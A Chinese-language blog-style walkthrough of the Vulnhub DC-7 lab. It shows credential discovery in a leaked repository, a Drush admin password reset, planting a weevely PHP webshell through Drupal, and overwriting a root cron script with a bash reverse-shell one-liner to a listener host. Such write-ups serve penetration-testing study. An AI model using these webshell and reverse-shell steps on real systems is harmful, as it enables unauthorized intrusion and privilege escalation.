基本步骤

经验 & 总结

  1. 对信息还是不敏感,其实也是因为对Drupal这个CMS并不熟悉,不知道哪些地方是默认的那些地方是作者修改,比如这个“DC7USER”。
  2. 对Drupal这个CMS不熟悉,不知道Drush这个工具是什么东西,一开始根本就没注意到;也不知道Drupal可以通过Web页面编写PHP脚本。
  3. 一开始在dc7user的shell中探测计划任务,crontab计划任务中并没有/opt/scripts/backups.sh因为权限不够
  4. 在最后修改计划任务脚本时需要注意,一定要确保文件头#!/bin/bash,否则无法正常执行。==原因不详,还请各位大佬告知==

步骤流水

进行端口探测,得到只开放了两个端口:22、 80端口

  • 对80端口进行检查

  • CMS为Drupal8框架

  • robots.txt 中透露了22个目录,不知道有没有线索。我不知道正常drupal8安装后robots.txt内容是什么样

  • msf一把梭:msf搜索相关漏洞,包含了exploit-db中的最新exp,无脑测试,都失败了。

  • 到这一步懵逼了,但是可以确定还是需要从80端口突破

  • 偷看一眼参考答案,需要在某个不存在的网站上搜索DC7USER(信息搜集的重要性……),可以找到一个github仓库地址,根据README中的信息,得知该仓库存放的是web的部分代码。

    • 大致浏览一下,有几个文件看起来和登录有关。

    • 直接搜索“password”发现包含用户名和密码,而且看起来好像是数据库的用户名和密码,但是nmap扫描结果中并没有与数据库相关的信息,推测是对外屏蔽了端口。

    • 依次尝试目前得到的登录接口:尝试登录drupal,失败;测试登录ssh,成功。

  • SSH:

    • 直接尝试已知的提权办法,脚本扫一扫、参考cheatsheet试试看,没成功。

    • 提示有个新邮件,ls查看当前目录下有两个文件,一个文本文件叫mbox,一个backups文件夹

    • 查看当前进程确认有mysqld在运行,尝试登录,提示被禁止。尝试运行sudo命令,提示该命令不存在。

    • 查看mbox

      • 虽然很长,但是内容基本重复,可以得到的信息是存在一个定时任务,备份数据库文件

    • scp -r dc7user@10.0.2.9:/home/dc7user/backups ./复制文件到本地进行查看,但是是加密文件。

      查看计划任务脚本,得到密码

    • 数据库备份文件超大33M,感兴趣的是里面的users_field_data表,可以查询到用户名和加密后的密码。另外查看了备份的web目录,没有写死的用户名和密码。

  • 至此再次陷入僵局

再次翻看参考答案:突破点在/opt/scripts/backups.sh脚本上

  • backups.sh

    • 查看权限可以看出该脚本属组并不是root而是www-data,同时www-data有对该文件的完全控制权

    • 因此突破关键转移到如何获得一个www-data组中的用户,查询发现www-data组中仅包含www-data用户,www-data仅运行apache进程,因此需要通过web页面获得shell才能获取对backups.sh的修改权限。

    • 查看脚本中的内容,发现执行了drush命令

      Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令,可用于与模块/主题/配置文件等代码进行交互。

      一开始执行drush命令的时候总是提示:Command user-create needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to run this command.

      需要切换到项目根目录或Drupal中。没仔细看文档:通过在项目根目录或Drupal中的任何位置键入“ drush”,可以在Shell中运行Drush。另外,在这个脚本中也是先移动到web目录,再执行备份任务。

      通过drush user-password admin --password="new_pass"修改admin密码,成功登录drupal。为什么dc7user用户会有这个命令的控制权?还请大佬指点

    • 成功登录后台

  • 再一次歇逼,没用过Drupal,知道这个时候应该想办法写一个php的webshell,但是搜了一圈也没找到怎么通过Web后台写WebShell。

再次翻看参考答案(我是真的菜啊)

  • 为drupal添加一个插件,让它支持编辑PHP页面

    • 下载php-8.x-1.0.tar.gz,在后台安装并激活

    • weevely generate 123 ./shell.php生成一个webshell,通过web写入drupal

    • 发布之后使用weevely连接,可以得到一个www-data权限的shell

    • 在计划任务脚本后面添加反弹shell脚本,本机监听等待回连,耐心等待,通过邮件的时间可以得知该脚本每15分钟执行一次。

      echo "bash -i >& /dev/tcp/10.0.2.15/7777 0>&1" > /opt/scripts/backups.sh

Vulnhub_DC7 记录的更多相关文章

  1. 记一次debug记录:Uncaught SyntaxError: Unexpected token ILLEGAL

    在使用FIS3搭建项目的时候,遇到了一些问题,这里记录下. 这里是发布搭建代码: // 代码发布时 fis.media('qa') .match('*.{js,css,png}', { useHash ...

  2. nginx配置反向代理或跳转出现400问题处理记录

    午休完上班后,同事说测试站点访问接口出现400 Bad Request  Request Header Or Cookie Too Large提示,心想还好是测试服务器出现问题,影响不大,不过也赶紧上 ...

  3. Kali对wifi的破解记录

    好记性不如烂笔头,记录一下. 我是在淘宝买的拓实N87,Kali可以识别,还行. 操作系统:Kali 开始吧. 查看一下网卡的接口.命令如下 airmon-ng 可以看出接口名称是wlan0mon. ...

  4. 2015 西雅图微软总部MVP峰会记录

    2015 西雅图微软总部MVP峰会记录 今年决定参加微软MVP全球峰会,在出发之前本人就已经写这篇博客,希望将本次会议原汁原味奉献给大家 因为这次是本人第一次写会议记录,写得不好的地方希望各位园友见谅 ...

  5. 分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间)

    分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间) 很多时候我们都需要计算数据库中各个表的数据量和每行记录所占用空间 这里共享一个脚本 CREATE TABLE #tab ...

  6. 我是如何在SQLServer中处理每天四亿三千万记录的

    首先声明,我只是个程序员,不是专业的DBA,以下这篇文章是从一个问题的解决过程去写的,而不是一开始就给大家一个正确的结果,如果文中有不对的地方,请各位数据库大牛给予指正,以便我能够更好的处理此次业务. ...

  7. 前端学HTTP之日志记录

    前面的话 几乎所有的服务器和代理都会记录下它们所处理的HTTP事务摘要.这么做出于一系列的原因:跟踪使用情况.安全性.计费.错误检测等等.本文将谥介绍日志记录 记录内容 大多数情况下,日志的记录出于两 ...

  8. ASP.NET Core应用中如何记录和查看日志

    日志记录不仅对于我们开发的应用,还是对于ASP.NET Core框架功能都是一项非常重要的功能特性.我们知道ASP.NET Core使用的是一个极具扩展性的日志系统,该系统由Logger.Logger ...

  9. python+uwsgi导致redis无法长链接引起性能下降问题记录

    今天在部署python代码到预生产环境时,web站老是出现redis链接未初始化,无法连接到服务的提示,比对了一下开发环境与测试环境代码,完全一致,然后就是查看各种日志,排查了半天也没有查明是什么原因 ...

随机推荐

  1. 在Linux系统下安装jdk并配置环境变量

    本文主要介绍的是如何是Linux环境下安装JDK的,因为Linux环境下,很多时候也离不开Java的,下面笔者就和大家一起分享如何jdk1.8的过程吧. 1.安装环境 操作系统:CentOS 07 6 ...

  2. torchvision的理解和学习 加载常用数据集,对主流模型的调用.md

    torchvision的理解和学习 加载常用数据集,对主流模型的调用 https://blog.csdn.net/tsq292978891/article/details/79403617 加载常用数 ...

  3. idea tomcat启动无效

    今天换了台电脑,用idea 部署tomcat启动死活启动不了,报 Application Server was not connected before run configuration stop, ...

  4. [lua]紫猫lua教程-命令宝典-L1-01-12. 临时补充2

    1.lua的环境变量和函数 (1)_G表  (个人习惯遍历下_G 看看当前环境支持什么库 很多库不是默认就支持的 需要按照流程导入或者加载) 一个全局变量(非函数),内部储存有当前所有的全局函数和全局 ...

  5. 为什么hadoop中用到的序列化不是java的serilaziable接口去序列化而是使用Writable序列化框架

    继上一个模块之后,此次分析的内容是来到了Hadoop IO相关的模块了,IO系统的模块可谓是一个比较大的模块,在Hadoop Common中的io,主要包括2个大的子模块构成,1个是以Writable ...

  6. gnuplot 让您的数据可视化

    https://www.ibm.com/developerworks/cn/linux/l-gnuplot/index.html http://blog.sciencenet.cn/blog-3733 ...

  7. Java:不得不知的Object类

    目录 一.equals 1.equals与==有啥区别? 2.equals方法的规范 3.instanceof 和getClass() 4.其他总结 二.hashCode 1.hashCode的规范 ...

  8. python中pip问题

    1.在cmd中运行pip命令显示‘pip命令显示不是内部或外部命令,也不是可运行的程序或批处理文件’的问题 先看python的安装目录下Script文件夹中pip3.exe有没有缺失 如果没有在cmd ...

  9. Js将字符串转换成对象或数组en

    举个例子 var test='{ colkey: "col", colsinfo: "NameList" }' a.将文本转换成对象 var test='{ c ...

  10. python中给函数传参是传值还是传引用

    首先还是应该科普下函数参数传递机制,传值和传引用是什么意思? 函数参数传递机制问题在本质上是调用函数(过程)和被调用函数(过程)在调用发生时进行通信的方法问题.基本的参数传递机制有两种:值传递和引用传 ...